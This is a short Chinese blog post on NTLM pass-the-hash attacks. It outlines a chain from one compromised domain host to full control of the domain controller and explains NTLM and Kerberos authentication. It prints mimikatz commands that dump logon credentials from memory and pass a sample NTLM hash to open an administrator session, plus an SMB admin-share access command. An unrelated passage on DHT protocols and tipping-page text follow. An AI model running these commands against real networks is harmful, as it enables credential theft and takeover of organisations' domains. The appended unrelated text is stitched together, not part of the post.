哈希传递通信过程

哈希传递:

 哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、 LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。

NTLM验证靠HASH值

1.获得一台域主机的权限

2.Dump内存获得用户hash

3.通过pass the hash尝试登录其他主机

4.继续搜集hash并尝试远程登录

5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

画图显示通信过程:

1、client发送账户名user到server

2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client

3、client接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,发送response给server

4、server对比自己内存中的net-ntlm hash与client发来的response是否一致

mimikatz:

利用:

hash传递浏览上传文件

      当域内的用户想要访问域中的某个服务时,输入用户名和密码访问,本机kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。

      该请求包中包含: 请求的用户名客户端主机名、加密类型Authenticator(用户NTLM Hash加密的时间戳)以及一些其他信息

       在AS-REQ阶段,是用用户密码Hash加密的Authenticator,所以也就造成了hash传递。我们只需要获取域用户Hash,同时目标机器开放smb服务,就可以进行Hash传递攻击。

privilege::debug     提升权限(注:需以管理员权限运行) 

sekurlsa::logonpasswords      获取内存中保存的登录信息 

sekurlsa::pth /user:administrator /domain:xiusafe.com /

ntlm:a803cf45d87009c404eb89df4b1ae94c       弹出新窗口 

dir \\10.10.10.254\c$

 

 

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于分布式哈希表(Distributed Hash Table,DHT)的通信协议是一种用于在分布式系统中进行节点之间通信的协议。它结合了DHT的分布式数据存储和哈希表的快速查找特性,提供了一种高效的通信机制。 在基于DHT的通信协议中,节点之间的通信通过对键(key)进行哈希运算来确定消息的路由。每个节点都维护着一个部分或完整的DHT,并根据键的哈希值将消息路由到负责该键范围的节点上。这种方式确保了消息的快速传递和均衡负载。 通常,基于DHT的通信协议包括以下几个关键步骤: 1. 哈希键:将消息中的键进行哈希运算,得到一个唯一的标识符。 2. 查找节点:使用DHT的查找算法,根据哈希键找到负责该键范围的节点。 3. 发送消息:将消息发送给负责该键范围的节点。 4. 路由转发:如果负责该键范围的节点不是目标节点,它会根据DHT协议将消息继续路由转发给下一个合适的节点,直到消息达到目标节点。 基于DHT的通信协议具有良好的可扩展性和容错性。当节点数量增加或网络拓扑发生变化时,DHT可以动态地重新分布数据和更新路由信息,从而适应系统的变化。此外,数据的冗余存储和多次传递路径选择也增强了系统的容错性。 一些常见的基于DHT的通信协议包括Chord、Kademlia、CAN(Content-Addressable Network)等。它们在路由算法、节点查找、数据复制等方面有所不同,但都基于DHT的基本原理来实现节点之间的通信
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值